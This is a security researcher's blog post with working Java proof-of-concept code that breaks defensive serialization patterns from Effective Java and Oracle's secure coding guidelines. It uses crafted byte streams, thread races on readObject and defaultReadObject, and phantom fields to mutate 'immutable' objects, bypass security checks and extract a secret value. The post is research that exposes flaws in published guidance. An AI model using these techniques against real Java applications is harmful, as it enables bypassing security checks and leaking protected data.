Sunday, August 08, 2010

Breaking Defensive Serialization

(This post is too long and not very high quality. But I said I'd show code, so there. Now I want to take a break from serialization.)

So, the last post was very theoretical, describing how to break many of the defensive serialization patterns suggested by publications and guides, but showing no actual code on how to do it. This post aims to remedy that.

In order to do that, I need an efficient and clear way to include the serial data which is at the heart of those pieces of code. I've been dealing with serial data in a lot of different ways over the years, ranging from using a hex editor to edit the binary data stored in a file, using an unpublished version of reJ with serial data manipulation capabilities, inline byte arrays with comments, serializing stand-in classes and doing string substitution in the binary data.

Any of those work well when you're creating proof of vulnerabilities once per month, but none of them are very much fun to work with when you have a half a dozen examples you want to show. Also, they don't translate very well into a blog post.

So I decided on an "annotated" Object array, which contains Bytes, Shorts, Integers, Longs, Strings and my own Repeat objects. The object array gets processed, writing the values into a byte array, using the corresponding writeXXX methods of DataOutputStream. And the Repeat is used to repeat a set of data n times.

So to start off, here are the couple of helper classes, Converter and Repeat, that aid in turning a somewhat legible Object array into the binary serial data. And also the EvilSplitStream which aids in dynamically altering the InputStream which feeds the deserialization.

001 package util;
002 
003 public class Repeat {
004   private int count;
005   private Object[] data;
006 
007   Repeat(int count, Object[] data) {
008     this.count = count;
009     this.data = data;
010   }
011 
012   public static Repeat me(int count, Object ... data) {
013     return new Repeat(count, data);
014   }
015 
016   public int getCount() {
017     return count;
018   }
019   
020   public Object[] getData() {
021     return data;
022   }
023 }


001 package util;
002 
003 import java.io.BufferedInputStream;
004 import java.io.ByteArrayInputStream;
005 import java.io.ByteArrayOutputStream;
006 import java.io.DataOutputStream;
007 import java.io.IOException;
008 import java.io.InputStream;
009 import java.io.ObjectInputStream;
010 
011 public class Converter {
012   
013   public static ObjectInputStream convert(Object[] objs) throws IOException {
014     ObjectInputStream ois = new ObjectInputStream(getStream(objs));
015     return ois;
016   }
017   
018   public static InputStream getStream(Object[] objs) throws IOException {
019     ByteArrayOutputStream baos = new ByteArrayOutputStream();
020     DataOutputStream dos = new DataOutputStream(baos);
021     for (Object obj : objs) {
022       treatObject(dos, obj);
023     }
024 
025     ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
026     BufferedInputStream bis = new BufferedInputStream(bais);
027     return bis;
028   }
029 
030   private static void treatObject(DataOutputStream dos, Object obj)
031       throws IOException {
032     if (obj instanceof Byte) {
033       dos.writeByte((Byte) obj);
034     } else if (obj instanceof Short) {
035       dos.writeShort((Short) obj);
036     } else if (obj instanceof Integer) {
037       dos.writeInt((Integer) obj);
038     } else if (obj instanceof Long) {
039       dos.writeLong((Long) obj);
040     } else if (obj instanceof String) {
041       String str = (String) obj;
042       dos.writeUTF(str);
043     } else if (obj instanceof Repeat) {
044       Repeat r = (Repeat) obj;
045       for (int i = 0; i < r.getCount(); i++) {
046         for (Object o2 : r.getData()) {
047           treatObject(dos, o2);
048         }
049       }
050     } else {
051       System.out.println("strange type in data array: " + obj.getClass());
052     }
053   }
054 
055 }


001 package util;
002 
003 import java.io.BufferedInputStream;
004 import java.io.IOException;
005 import java.io.InputStream;
006 
007 public class EvilSplitStream extends BufferedInputStream {
008   InputStream alternate = null;
009   public EvilSplitStream(InputStream is) {
010     super(is);
011   }
012   
013   public synchronized int read() throws IOException {
014     if (alternate != null) {
015       return alternate.read();
016     }
017     return super.read();
018   }
019   
020   public int read(byte[] b) throws IOException {
021     if (alternate != null) {
022       return alternate.read(b);
023     }
024     return super.read(b);
025   }
026   
027   public synchronized int read(byte[] b, int off, int len) throws IOException {
028     if (alternate != null) {
029       return alternate.read(b, off, len);
030     }
031     return super.read(b, off, len);
032   }
033   
034   public void rewrite(InputStream is) {
035     this.alternate = is;
036   }
037 
038 }


With those out of the way, let's look at the cases in the same order of the last post.

1) Example from Joshua Bloch's Effective Java (Item 76):

001 package ser1;
002 
003 import java.io.ByteArrayOutputStream;
004 import java.io.IOException;
005 import java.io.ObjectInputStream;
006 import java.io.ObjectStreamConstants;
007 import java.io.PrintStream;
008 import java.util.Calendar;
009 import java.util.Date;
010 
011 import util.Converter;
012 
013 public class MutableDate extends Date implements ObjectStreamConstants {
014   private static final long serialVersionUID = 1L;
015 
016   private Period period;
017   
018   static final Object[] _DATA = new Object[] {
019     STREAM_MAGIC, STREAM_VERSION, // stream headers
020     
021     TC_OBJECT,
022     TC_CLASSDESC,
023       Period.class.getName(), // A Period object
024       (long) 7141649437422996369L, // serialVersionUID
025       (byte) 2, // classdesc flags
026       (short) 2, // field count
027       (byte) 'L', "start", TC_STRING, "Ljava/util/Date;", // start field
028       (byte) 'L', "end", TC_STRING, "Ljava/util/Date;", // end field
029     TC_ENDBLOCKDATA,
030     TC_NULL, // no superclass
031 
032     // field value data
033     TC_OBJECT, // value for Period.start field
034     TC_CLASSDESC,
035       MutableDate.class.getName(), // MutableDate object
036       (long) 1, // serialVersionUID
037       (byte) 2, // flags
038       (short) 1, // field count
039       (byte) 'L', "period", TC_STRING, "Lser1/Period;", // MutableDate.period
040     TC_ENDBLOCKDATA,
041     TC_NULL, // no superclass
042 
043     TC_REFERENCE, baseWireHandle + 3, // value for MutableDate.period
044     // which is a ref to the Period object defined above
045     TC_REFERENCE, baseWireHandle + 6, // value for Period.end
046     // which is a ref to the same MutableDate object defined above
047   };
048 
049   public static void main(String[] args) throws Exception {
050     Converter.convert(_DATA).readObject();
051     // throw away the read object here, because after readObject returns
052     // it truly has become immutable and useless
053   }
054 
055   
056   volatile static int pos = 0;
057   static long[] values = {new Date(2008-1900, Calendar.MAY, 1).getTime(),
058     new Date(2009-1900, Calendar.JULY, 4).getTime(),
059     new Date(2010-1900, Calendar.DECEMBER, 24).getTime(),
060     new Date(2010-1900, Calendar.AUGUST, 8).getTime()};
061   
062   public long getTime() {
063     if (pos >= values.length) {
064       return 0;
065     }
066     
067     // stack inspection
068     ByteArrayOutputStream baos = new ByteArrayOutputStream();
069     new Exception().printStackTrace(new PrintStream(baos));
070     int period = baos.toString().indexOf("Period.");
071     int periodReadObject = baos.toString().indexOf("Period.readObject");
072     if (period == periodReadObject) {
073       final Period mutable = this.period;
074       // at this moment we hold a ref to a mutable Period - proof:
075       System.out.println("start: " + mutable.start());
076       System.out.println("start: " + mutable.start());
077       System.out.println("start: " + mutable.start());
078       System.out.println("start: " + mutable.start());
079     }
080     
081     if (pos >= values.length) {
082       return 0;
083     }
084     return values[pos++];
085   }
086 
087   private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
088     s.defaultReadObject();
089   }
090   
091 }

Apologies for the bad readability of the code, the multiple re-entries into the getTime() method complicate things a bit.

There are two objects in the serial data. An instance of Josh's Period class and an instance of a class defined here, MutableDate. The idea is that both the start and end fields of the Period object will be populated with the same MutableDate instance (it doesn't need to be the same, just being stingy on LOC). Eventually the Period.readObject method will replace these with immutable Date objects, but the idea is that we do our dirty bidding before that takes place. The Period.readObject calls Date.getTime() on our MutableDate instance which is stored in the start field. At this point all three fields; Period.start, Period.end and MutableDate.period have been initialized. We have control of the PeriodObject through an early cross reference in the MutableDate instance. As a proof of the mutability there are 4 consecutive calls to the Period.start() method whose output are printed, something like this:

start: Thu May 01 00:00:00 BRT 2008
start: Sat Jul 04 00:00:00 BRT 2009
start: Fri Dec 24 00:00:00 BRST 2010
start: Sun Aug 08 00:00:00 BRT 2010

Important note for those who might be at doubt: Joshua Bloch is not the problem. The serialization/deserialization SNAFU is.

2) Oracle Secure Coding guidelines (Guideline 5-4):

2a) Example 1

As this class is pretty skinny on the details, I'll skip it. I'd have to add most of the logic to it and then one could argue that the code I added made it vulnerable.

2b) Example 2

I added a few things to this class to make it more serially robust and to be able to better display it being manipulated, namely, a serialVersionUID and a toString method. Security-wise the class is still exactly as it is in the secure coding guidelines example:

001 package ser3;
002 
003 import java.io.IOException;
004 
005 public final class SecureName implements java.io.Serializable {
006 
007   private static final long serialVersionUID = 3874641747845008981L;
008 
009   // private internal state
010     private String name;
011 
012     private static final String DEFAULT = "DEFAULT";
013 
014     public SecureName() {
015         // initialize name to default value
016         name = DEFAULT;
017     }
018 
019     // allow callers to modify private internal state
020     public void setName(String name) {
021         if (name != null ? name.equals(this.name) : (this.name == null)) {
022             // no change - do nothing
023             return;
024         } else {
025             // permission needed to modify name
026             securityManagerCheck();
027 
028             inputValidation(name);
029 
030             this.name = name;
031         }
032     }
033 
034   // implement readObject to enforce checks during deserialization
035     private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException, IOException {
036         java.io.ObjectInputStream.GetField fields = in.readFields();
037         String name = (String) fields.get("name", DEFAULT);
038 
039         // if the deserialized name does not match the default value normally
040         // created at construction time, duplicate checks
041 
042         if (!DEFAULT.equals(name)) {
043             securityManagerCheck();
044             inputValidation(name);
045         }
046         this.name = name;
047     }
048 
049     private void inputValidation(String name2) {
050         // code omitted
051      throw new SecurityException("not allowed");
052     }
053 
054     private void securityManagerCheck() {
055         // code omitted
056      throw new SecurityException("not allowed");
057     }
058 
059     public String toString() {
060      return "SecureName: " + this.name;
061     }
062 
063 }


And to break it:

001 package ser3;
002 
003 import java.io.IOException;
004 import java.io.NotActiveException;
005 import java.io.ObjectInputStream;
006 import java.io.ObjectStreamConstants;
007 
008 import util.Converter;
009 import util.EvilSplitStream;
010 
011 public class App implements ObjectStreamConstants {
012 
013   static final Object[] _DATA = new Object[] {
014     STREAM_MAGIC, STREAM_VERSION, // stream headers
015     
016     TC_OBJECT,
017     TC_CLASSDESC,
018       SecureName.class.getName(), // A Period object
019       (long) 3874641747845008981L, // serialVersionUID
020       (byte) 3, // classdesc flags
021       (short) 1, // field count
022       (byte) 'L', "name", TC_STRING, "Ljava/lang/String;", // start field
023     TC_ENDBLOCKDATA,
024     TC_NULL, // no superclass
025 
026     // field value data
027     TC_STRING, "EVIL", // value for SecureName.name
028   };
029 
030   public static SecureName evilName = null;
031   
032   public static void main(String[] args) throws Exception {
033     final EvilSplitStream is = new EvilSplitStream(Converter.getStream(_DATA));
034     final ObjectInputStream ois = new ObjectInputStream(is);
035 
036     is.mark(1024);
037     new Thread() {
038       public void run() {
039         while (true) {
040           try {
041             ois.readObject();
042           } catch (NotActiveException nae) {
043             // NAE means defaultReadObject was successfully called
044             // in the other thread
045             break; // and our work is done
046           } catch (SecurityException se) {
047             se.printStackTrace();
048           } catch (ClassNotFoundException cnfe) {
049           } catch (IOException ioe) {
050             ioe.printStackTrace();
051           }
052           try {
053             is.reset();
054           } catch (IOException ioe) {
055             ioe.printStackTrace();
056           }
057         }
058       }
059     }.start();
060 
061     // this thread "forces" a call to defaultReadObject
062     while (true) {
063       try {
064         ois.defaultReadObject();
065         System.out.println("Successfully called defaultReadObject externally.");
066         try {
067           int ref = baseWireHandle;
068           // enumerate all refs in the stream to find the evil object
069           while (true) {
070             is.rewrite(Converter.getStream(new Object[] {TC_REFERENCE, ref++}));
071             Object obj = ois.readObject(); // read ref
072             if (obj.toString().contains("EVIL")) {
073               App.evilName = (SecureName) obj;
074               break;
075             }
076           }
077         } catch (Throwable t) {
078           t.printStackTrace();
079         }
080         
081         break; // done; bail
082       } catch (IOException e) {
083       } catch (ClassNotFoundException e) {
084       }
085     }
086 
087     // done
088     System.out.println("An evil SecureName: " + evilName);
089   }
090 }


Basically, we create an additional thread which keeps on calling .readObject() on the ObjectInputStream, reading the same object over and over again (thanks to resetting the underlying InputStream after each call).

Meanwhile, another thread keeps on calling .defaultReadObject() on the same ObjectInputStream. Once the right condition occurs (happens immediately on my core 2 laptop) and the other thread is in the SecureName.readObject method, but hasn't called .readFields() yet, the call to .defaultReadObject succeeds and all of SecureName's serial fields are automatically populated. That particular SecureName instance gets a bit lost, because defaultReadObject() doesn't return anything, and the corresponding .readObject() in the other thread ends up throwing an exception (because it tries to call readFields() after defaultReadObject() has already been called). To get a hold of the "missing" object, we do a little bit of magic and manipulate our stream to return a ref to all the objects in it.

2c) Example 3 - Secure writeObject implementation with a security check.

Same as above, adding some meat & bones to this example to have something worthwhile to steal. A serialVersionUID and a value for the sensitive field. This is what we'll try to extract through serialization.

001 package ser4;
002 
003 import java.io.IOException;
004 
005 public final class SecureValue implements java.io.Serializable {
006 
007   private static final long serialVersionUID = -5975820784258084088L;
008 
009   // sensitive internal state
010     private String value = "The secret of life is D41D8CD98F00B204E9800998ECF8427E";
011 
012     // public method to allow callers to retrieve internal state
013     public String getValue() {
014         // permission needed to get value
015         securityManagerCheck();
016         return value;
017     }
018 
019     // implement writeObject to enforce checks during serialization
020     private void writeObject(java.io.ObjectOutputStream out) throws IOException {
021         // duplicate check from getValue()
022         securityManagerCheck();
023         out.writeObject(value);
024     }
025 
026     private void securityManagerCheck() {
027         // code omitted
028     }
029 }


And the code that breaks it:

001 package ser4;
002 
003 import java.io.ByteArrayOutputStream;
004 import java.io.IOException;
005 import java.io.ObjectOutputStream;
006 import java.io.ObjectStreamConstants;
007 
008 public class App implements ObjectStreamConstants {
009 
010   static ObjectOutputStream OOS = null;
011 
012   static boolean completed = false;
013   
014   public static void main(String[] args) throws Exception {
015     final ByteArrayOutputStream baos = new ByteArrayOutputStream();
016     OOS = new ObjectOutputStream(baos);
017     new Thread() {
018       public void run() {
019         while (!completed) {
020           try {
021             OOS.writeObject(new SecureValue());
022           } catch (IOException ioe) {}
023         }
024       }
025     }.start();
026     while (!completed) {
027       try {
028         OOS.defaultWriteObject();
029         System.out.println("serial data: " + baos.toString());
030         completed = true;
031       } catch (IOException e) {
032       }
033     }
034   }
035 
036 }


This one is simple. One thread keeps on writing SecureValue objects into the ObjectOutputStream (new instance every time, otherwise the serialization framework would just write a ref). Another thread keeps on calling defaultWriteObject() on the same ObjectOutputStream. Once the race condition stars align (again, on my laptop this is immediate) the secrets of the SecureValue instance get written into a ByteArrayOutputStream and are accessible to us.

3) java.lang.Integer

Creating a mutable Integer that starts with zero as the value and on command changes it's value to any int value is quite trivial.

001 package ser5;
002 
003 import java.io.ObjectStreamConstants;
004 
005 import util.Converter;
006 
007 public class App1 implements ObjectStreamConstants {
008 
009   static final Object[] _DATA = new Object[] {
010     STREAM_MAGIC, STREAM_VERSION, // stream headers
011     
012     TC_OBJECT,
013     TC_CLASSDESC,
014       Integer.class.getName(), // name
015       (long) 1360826667806852920L, // serialVersionUID
016       (byte) 2, // classdesc flags
017       (short) 1, // field count
018       (byte) 'I', "value",
019     TC_ENDBLOCKDATA,
020     // super
021     TC_CLASSDESC,
022       "pkg.None", // name
023       (long) 1337L, // serialVersionUID
024       (byte) 2,// classdesc flags
025       (short) 1, // field count
026       (byte) 'L', "notimportant", TC_STRING, "Ljava/lang/Object;",
027     TC_ENDBLOCKDATA,
028     // super
029     TC_NULL,
030 
031     // start value data
032     TC_OBJECT, // embedded object, the value of pkg.None.notimportant phantom field
033     TC_CLASSDESC,
034       Ref.class.getName(), // name
035       (long) 1, // serialVersionUID
036       (byte) 2, // flags
037       (short) 1, // field count
038       (byte) 'L', "i", TC_STRING, "Ljava/lang/Integer;",
039     TC_ENDBLOCKDATA,
040     // super
041     TC_NULL,
042 
043     // start value data for Ref
044     TC_REFERENCE, baseWireHandle + 3, // ref to the Integer object
045 
046     1337 // value of the Integer object
047   };
048 
049   public static Integer INSTANCE = null;
050   
051   public static void main(String[] args) throws Exception {
052     Converter.convert(_DATA).readObject();
053      System.out.println("INSTANCE(" + System.identityHashCode(App1.INSTANCE) + ") value = " + App1.INSTANCE);
054   }
055 
056 }


001 package ser5;
002 
003 
004 import java.io.IOException;
005 import java.io.ObjectInputStream;
006 import java.io.Serializable;
007 
008 public class Ref implements Serializable {
009   private static final long serialVersionUID = 1L;
010 
011   public Integer i;
012   
013     private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException {
014      s.defaultReadObject ();
015      App1.INSTANCE = this.i;
016      System.out.println("INSTANCE(" + System.identityHashCode(App1.INSTANCE) + ") value = " + App1.INSTANCE);
017     }
018 
019 }


We have an early reference on a phantom superclass field containing a Ref object. This object has a reference to the Integer instance before it's fields have been initialized (because the phantom superclass fields are still being initialized). So the Integer instance has the default value 0. Once the initialization completes, the object will have the value that is in the stream. In this case 1337.

It is also possible, with a few limitations, to create more arbitrary mutability from any value to another, with multiple changes.

001 package ser5;
002 
003 import java.io.ObjectStreamConstants;
004 
005 import util.Converter;
006 import util.Repeat;
007 
008 public class App2 implements ObjectStreamConstants {
009 
010   static final Object[] _DATA = new Object[] {
011     STREAM_MAGIC, STREAM_VERSION, // stream headers
012     
013     TC_OBJECT,
014     TC_CLASSDESC,
015       Integer.class.getName(), // name
016       (long) 1360826667806852920L, // serialVersionUID
017       (byte) 2, // classdesc flags
018       (short) 10000, // field count
019       Repeat.me(10000, new Object[] {
020         (byte) 'I', "value"
021       }),
022     TC_ENDBLOCKDATA,
023     // super
024     TC_CLASSDESC,
025       "pkg.None", // name
026       (long) 1337L, // serialVersionUID
027       (byte) 2,// classdesc flags
028       (short) 1, // field count
029       (byte) 'L', "notimportant", TC_STRING, "Ljava/lang/Object;",
030     TC_ENDBLOCKDATA,
031     // super
032     TC_NULL,
033 
034     // start value data
035     TC_OBJECT, // embedded object, the value of pkg.None.notimportant phantom field
036     TC_CLASSDESC,
037       Ref2.class.getName(), // name
038       (long) 1, // serialVersionUID
039       (byte) 2, // flags
040       (short) 1, // field count
041       (byte) 'L', "i", TC_STRING, "Ljava/lang/Integer;",
042     TC_ENDBLOCKDATA,
043     // super
044     TC_NULL,
045 
046     // start value data for XRef
047     TC_REFERENCE, baseWireHandle + 3, // ref to the 4th object in the stream
048 
049     // start integer data
050     Repeat.me(2000, new Object[] {
051       1
052     }),
053     Repeat.me(2000, new Object[] {
054       2
055     }),
056     Repeat.me(2000, new Object[] {
057       3
058     }),
059     Repeat.me(2000, new Object[] {
060       4
061     }),
062     Repeat.me(2000, new Object[] {
063       5
064     }),
065   };
066 
067   public static void main(String[] args) throws Exception {
068     Converter.convert(_DATA).readObject();
069   }
070 
071 }


001 package ser5;
002 
003 import java.io.IOException;
004 import java.io.ObjectInputStream;
005 import java.io.Serializable;
006 
007 public class Ref2 implements Serializable {
008   private static final long serialVersionUID = 1L;
009 
010   public Integer i;
011   
012     private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException {
013      s.defaultReadObject ();
014      new Thread() {
015      public void run() {
016      while (i.intValue() < 5) {
017      System.out.println("::" + i);
018      }
019         System.out.println("::" + i);
020      }
021      }.start();
022      try {
023       Thread.sleep(50);
024     } catch (InterruptedException e) {
025       e.printStackTrace();
026     }
027     }
028 }


This example uses the Repeated Field attack. It's quite a bit messier than the 0-1337 example above, but it manages repeated mutability. The serial data contains the value field of the Integer class repeated 10,000 times. That is, 2000 times for each of the values: 1, 2, 3, 4 and 5. To demonstrate the mutation, another Threads keeps printing the Integer.

4) java.io.File

001 package ser6;
002 import java.io.EOFException;
003 import java.io.File;
004 import java.io.IOException;
005 import java.io.NotActiveException;
006 import java.io.ObjectInputStream;
007 import java.io.ObjectStreamConstants;
008 import java.io.OptionalDataException;
009 import java.io.StreamCorruptedException;
010 
011 import util.Converter;
012 import util.EvilSplitStream;
013 
014 public class App implements ObjectStreamConstants {
015   
016   static final Object[] _DATA = new Object[] {
017     STREAM_MAGIC, STREAM_VERSION, // stream headers
018     TC_OBJECT,
019     TC_CLASSDESC,
020       File.class.getName(),
021       (long) 301077366599181567L, // serialVersionUID
022       (byte) 3, // classdesc flags
023       (short) 2, // field count
024       (byte)'L', "path", TC_STRING, "Ljava/lang/String;",
025       (byte)'L', "phantom", TC_STRING, "Ljava/lang/Object;",
026     TC_ENDBLOCKDATA,
027     TC_NULL, // no superclass
028     
029     // start value data for File
030     TC_STRING, "/", // path
031     TC_OBJECT, // phantom (phantom field)
032     TC_CLASSDESC,
033       XRef.class.getName(),
034       (long) 1, // serialVersionUID
035       (byte) 2, // classdesc flags
036       (short)1, // field count
037       (byte)'L', "bb", TC_STRING, "Ljava/lang/Object;",
038     TC_ENDBLOCKDATA,
039     TC_NULL, // no superclass
040     
041     // start value data for XRef
042     TC_REFERENCE, baseWireHandle + 3,
043     TC_BLOCKDATA, (byte) 2, (short) '\\', TC_ENDBLOCKDATA,
044   };
045   
046   
047   public static File INSTANCE = null;
048   
049   public static boolean keepWaiting = true;
050   
051   public static void main(String[] args) throws Exception {
052     final EvilSplitStream is = new EvilSplitStream(Converter.getStream(_DATA));
053     final ObjectInputStream ois = new ObjectInputStream(is);
054     
055     new Thread() {
056       public void run() {
057         while (true) {
058           try {
059             ois.defaultReadObject();
060                System.out.println(":INSTANCE(" + System.identityHashCode(App.INSTANCE) + ") value = " + App.INSTANCE.getPath());
061             break; // done, bail
062           } catch (IOException e) {
063           } catch (ClassNotFoundException e) {
064           }
065         }
066       }
067     }.start();
068     
069     is.mark(50000);
070     while (true) {
071       try {
072         ois.readObject();
073       } catch (NotActiveException nae) {
074         App.keepWaiting = false;
075         System.out.println("NAE. OK. Bailing.");
076         break;
077       } catch (IllegalArgumentException iae) {
078       }
079       is.reset();
080     }
081   }
082 
083 }


001 package ser6;
002 
003 
004 import java.io.ByteArrayOutputStream;
005 import java.io.File;
006 import java.io.IOException;
007 import java.io.ObjectInputStream;
008 import java.io.PrintStream;
009 import java.io.Serializable;
010 
011 public class XRef implements Serializable {
012   private static final long serialVersionUID = 1L;
013 
014   public File bb;
015   
016     private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException {
017      s.defaultReadObject();
018      ByteArrayOutputStream baos = new ByteArrayOutputStream();
019      PrintStream ps = new PrintStream(baos);
020      new Exception().printStackTrace(ps);
021      String stack = baos.toString();
022      if (stack.contains("defaultReadObject")) {
023          App.INSTANCE = bb;
024          System.out.println("INSTANCE(" + System.identityHashCode(App.INSTANCE) + ") value = " + App.INSTANCE.getPath());
025          try {
026          while (App.keepWaiting) {
027          Thread.sleep(10);
028          }
029       } catch (InterruptedException e) {
030         e.printStackTrace();
031       }
032      }
033     }
034 
035 }


That's not terribly robust, there's so many things that can go wrong with the timing. But it seems to work most of the time. It's a File that at first has a null path and then "/" as it's path. This path string doesn't pass through normalization. I'm not certain if that has security implications.